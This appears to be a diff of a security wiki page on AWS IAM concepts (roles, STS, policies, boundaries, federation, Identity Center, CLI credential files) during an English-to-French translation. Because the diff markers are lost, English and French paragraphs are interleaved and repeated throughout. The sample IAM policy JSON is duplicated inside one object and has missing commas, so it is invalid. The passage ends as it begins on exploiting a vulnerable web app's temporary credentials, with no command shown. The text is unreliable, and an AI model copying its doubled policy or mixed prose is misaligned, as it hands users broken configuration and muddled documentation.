- Une ressource telle qu'un bucket Amazon S3, une file d'attente Amazon SQS ou un sujet Amazon SNS
|
||||
- La politique de confiance d'un rôle IAM qui peut être assumé par un utilisateur
|
||||
|
||||
Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un jeton avec des informations sur MFA.\
|
||||
Notez que **les informations d'identification `AssumeRole` ne contiennent pas cette information**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
Comme [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
|
||||
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
### [Groupes d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
Un [groupe d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) est un moyen de **joindre des politiques à plusieurs utilisateurs** en même temps, ce qui peut faciliter la gestion des autorisations pour ces utilisateurs. **Les rôles et les groupes ne peuvent pas faire partie d'un groupe**.
|
||||
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
Vous pouvez attacher une **politique basée sur l'identité à un groupe d'utilisateurs** afin que tous les **utilisateurs** du groupe d'utilisateurs **reçoivent les autorisations de la politique**. Vous **ne pouvez pas** identifier un **groupe d'utilisateurs** comme un **`Principal`** dans une **politique** (comme une politique basée sur les ressources) car les groupes sont liés aux autorisations, pas à l'authentification, et les principaux sont des entités IAM authentifiées.
|
||||
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
Voici quelques caractéristiques importantes des groupes d'utilisateurs :
|
||||
|
||||
Here are some important characteristics of user groups:
|
||||
- Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
|
||||
- **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs.
|
||||
- Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme cela, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci.
|
||||
- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [les quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
|
||||
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
Un rôle IAM se compose de **deux types de politiques** : une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
|
||||
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
#### Service de jetons de sécurité AWS (STS)
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
|
||||
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
Les **credentials temporaires sont principalement utilisés avec des rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
|
||||
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
### Politiques
|
||||
|
||||
### Policies
|
||||
#### Permissions de politique
|
||||
|
||||
#### Policy Permissions
|
||||
Sont utilisées pour attribuer des permissions. Il existe 2 types :
|
||||
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
- Politiques gérées par AWS (préconfigurées par AWS)
|
||||
- Politiques gérées par le client : configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
|
||||
|
||||
Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
|
||||
Si **un "Deny" unique existe, il remplacera le "Allow"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Les [champs globaux qui peuvent être utilisés pour des conditions dans n'importe quel service sont documentés ici](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Les [champs spécifiques qui peuvent être utilisés pour des conditions par service sont documentés ici](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
#### Politiques Inline
|
||||
|
||||
#### Inline Policies
|
||||
Ce type de politiques est **directement assigné** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
|
||||
Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées à l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
|
||||
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
#### Politiques de Bucket de Ressources
|
||||
|
||||
#### Resource Bucket Policies
|
||||
Ce sont des **politiques** qui peuvent être définies dans des **ressources**. **Toutes les ressources d'AWS ne les prennent pas en charge**.
|
||||
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
Si un principal n'a pas de refus explicite à leur sujet, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
|
||||
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
### Limites IAM
|
||||
|
||||
### IAM Boundaries
|
||||
Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
|
||||
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
|
||||
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
**Cela**, **les SCPs** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
|
||||
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
### Politiques de Session
|
||||
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
|
||||
|
||||
Ceci est utile pour **des mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles), par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels cette session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'en empêche**.
|
||||
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
### Fédération d'identité
|
||||
|
||||
### Identity Federation
|
||||
La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
|
||||
Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de celui-ci d'accéder à AWS.
|
||||
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
|
||||
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
Cependant, vous voudrez généralement donner un **rôle différent en fonction du groupe de l'utilisateur** sur la plateforme tierce. Ensuite, plusieurs **rôles IAM peuvent faire confiance** au fournisseur d'identité tiers et la plateforme tierce sera celle qui permettra aux utilisateurs d'assumer un rôle ou un autre.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Identity Center
|
||||
### Centre d'identité IAM
|
||||
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
AWS IAM Identity Center (successeur d'AWS Single Sign-On) étend les capacités de la gestion des identités et des accès AWS (IAM) pour fournir un **endroit central** qui regroupe **l'administration des utilisateurs et leur accès aux** comptes AWS et aux applications cloud.
|
||||
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
Le domaine de connexion sera quelque chose comme `<user_input>.awsapps.com`.
|
||||
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
Pour connecter des utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées :
|
||||
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
- Répertoire Identity Center : Utilisateurs AWS réguliers
|
||||
- Active Directory : Prend en charge différents connecteurs
|
||||
- Fournisseur d'identité externe : Tous les utilisateurs et groupes proviennent d'un fournisseur d'identité externe (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
Dans le cas le plus simple du répertoire Identity Center, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et sera capable d'**attribuer des politiques** à ceux-ci pour **n'importe lequel des comptes** de l'organisation.
|
||||
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, un **fournisseur d'identité SAML faisant confiance au Centre d'identité sera créé**, et un **rôle faisant confiance au fournisseur d'identité avec les politiques indiquées sera créé** dans le compte de destination.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes étant donnés **politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appelée **`AwsSSOInlinePolicy`**, cela **ne signifie pas qu'ils ont les mêmes permissions**.
|
||||
|
||||
### Cross Account Trusts and Roles
|
||||
### Confiances et rôles inter-comptes
|
||||
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
|
||||
Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Not supported:
|
||||
Non pris en charge :
|
||||
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
- Relations de confiance
|
||||
- Centre d'administration AD
|
||||
- Prise en charge complète de l'API PS
|
||||
- Corbeille AD
|
||||
- Comptes de service gérés par groupe
|
||||
- Extensions de schéma
|
||||
- Pas d'accès direct au système d'exploitation ou aux instances
|
||||
|
||||
#### Web Federation or OpenID Authentication
|
||||
#### Fédération Web ou authentification OpenID
|
||||
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants temporaires. Cependant, cela n'accorde pas l'accès à la console AWS, seulement l'accès aux ressources au sein d'AWS.
|
||||
|
||||
### Other IAM options
|
||||
### Autres options IAM
|
||||
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
- Vous pouvez **définir un paramètre de politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
|
||||
- Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**.
|
||||
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
AWS Identity and Access Management (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**.
|
||||
|
||||
### IAM ID Prefixes
|
||||
### Préfixes d'ID IAM
|
||||
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), vous pouvez trouver les **préfixes d'ID IAM** des clés en fonction de leur nature :
|
||||
|
||||
| Identifier Code | Description |
|
||||
| Code d'identifiant | Description |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
| ACCA | Identifiant spécifique au contexte |
|
||||
| AGPA | Groupe d'utilisateurs |
|
||||
| AIDA | Utilisateur IAM |
|
||||
| AIPA | Profil d'instance Amazon EC2 |
|
||||
| AKIA | Clé d'accès |
|
||||
| ANPA | Politique gérée |
|
||||
| ANVA | Version dans une politique gérée |
|
||||
| APKA | Clé publique |
|
||||
| AROA | Rôle |
|
||||
| ASCA | Certificat |
|
||||
| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais sont uniques uniquement en combinaison avec la clé d'accès secrète et le jeton de session. |
|
||||
|
||||
### Recommended permissions to audit accounts
|
||||
### Permissions recommandées pour auditer les comptes
|
||||
|
||||
The following privileges grant various read access of metadata:
|
||||
Les privilèges suivants accordent divers accès en lecture des métadonnées :
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -356,14 +338,13 @@ The following privileges grant various read access of metadata:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Misc
|
||||
## Divers
|
||||
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
### Authentification CLI
|
||||
|
||||
Pour qu'un utilisateur régulier s'authentifie à AWS via CLI, vous devez avoir des **identifiants locaux**. Par défaut, vous pouvez les configurer **manuellement** dans `~/.aws/credentials` ou en **exécutant** `aws configure`.\
|
||||
Dans ce fichier, vous pouvez avoir plus d'un profil, si **aucun profil** n'est spécifié en utilisant le **cli aws**, celui appelé **`[default]`** dans ce fichier sera utilisé.\
|
||||
Exemple de fichier d'identifiants avec plus d'un profil :
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -374,12 +355,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Si vous devez accéder à **différents comptes AWS** et que votre profil a été autorisé à **assumer un rôle dans ces comptes**, vous n'avez pas besoin d'appeler manuellement STS à chaque fois (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) et de configurer les identifiants.
|
||||
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
Vous pouvez utiliser le fichier `~/.aws/config` pour [**indiquer quels rôles assumer**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), puis utiliser le paramètre `--profile` comme d'habitude (l'`assume-role` sera effectué de manière transparente pour l'utilisateur).\
|
||||
Un exemple de fichier de configuration :
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -388,36 +367,30 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
Avec ce fichier de configuration, vous pouvez ensuite utiliser aws cli comme :
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Si vous recherchez quelque chose de **similaire** à cela mais pour le **navigateur**, vous pouvez consulter l'**extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
#### Automatisation des identifiants temporaires
|
||||
|
||||
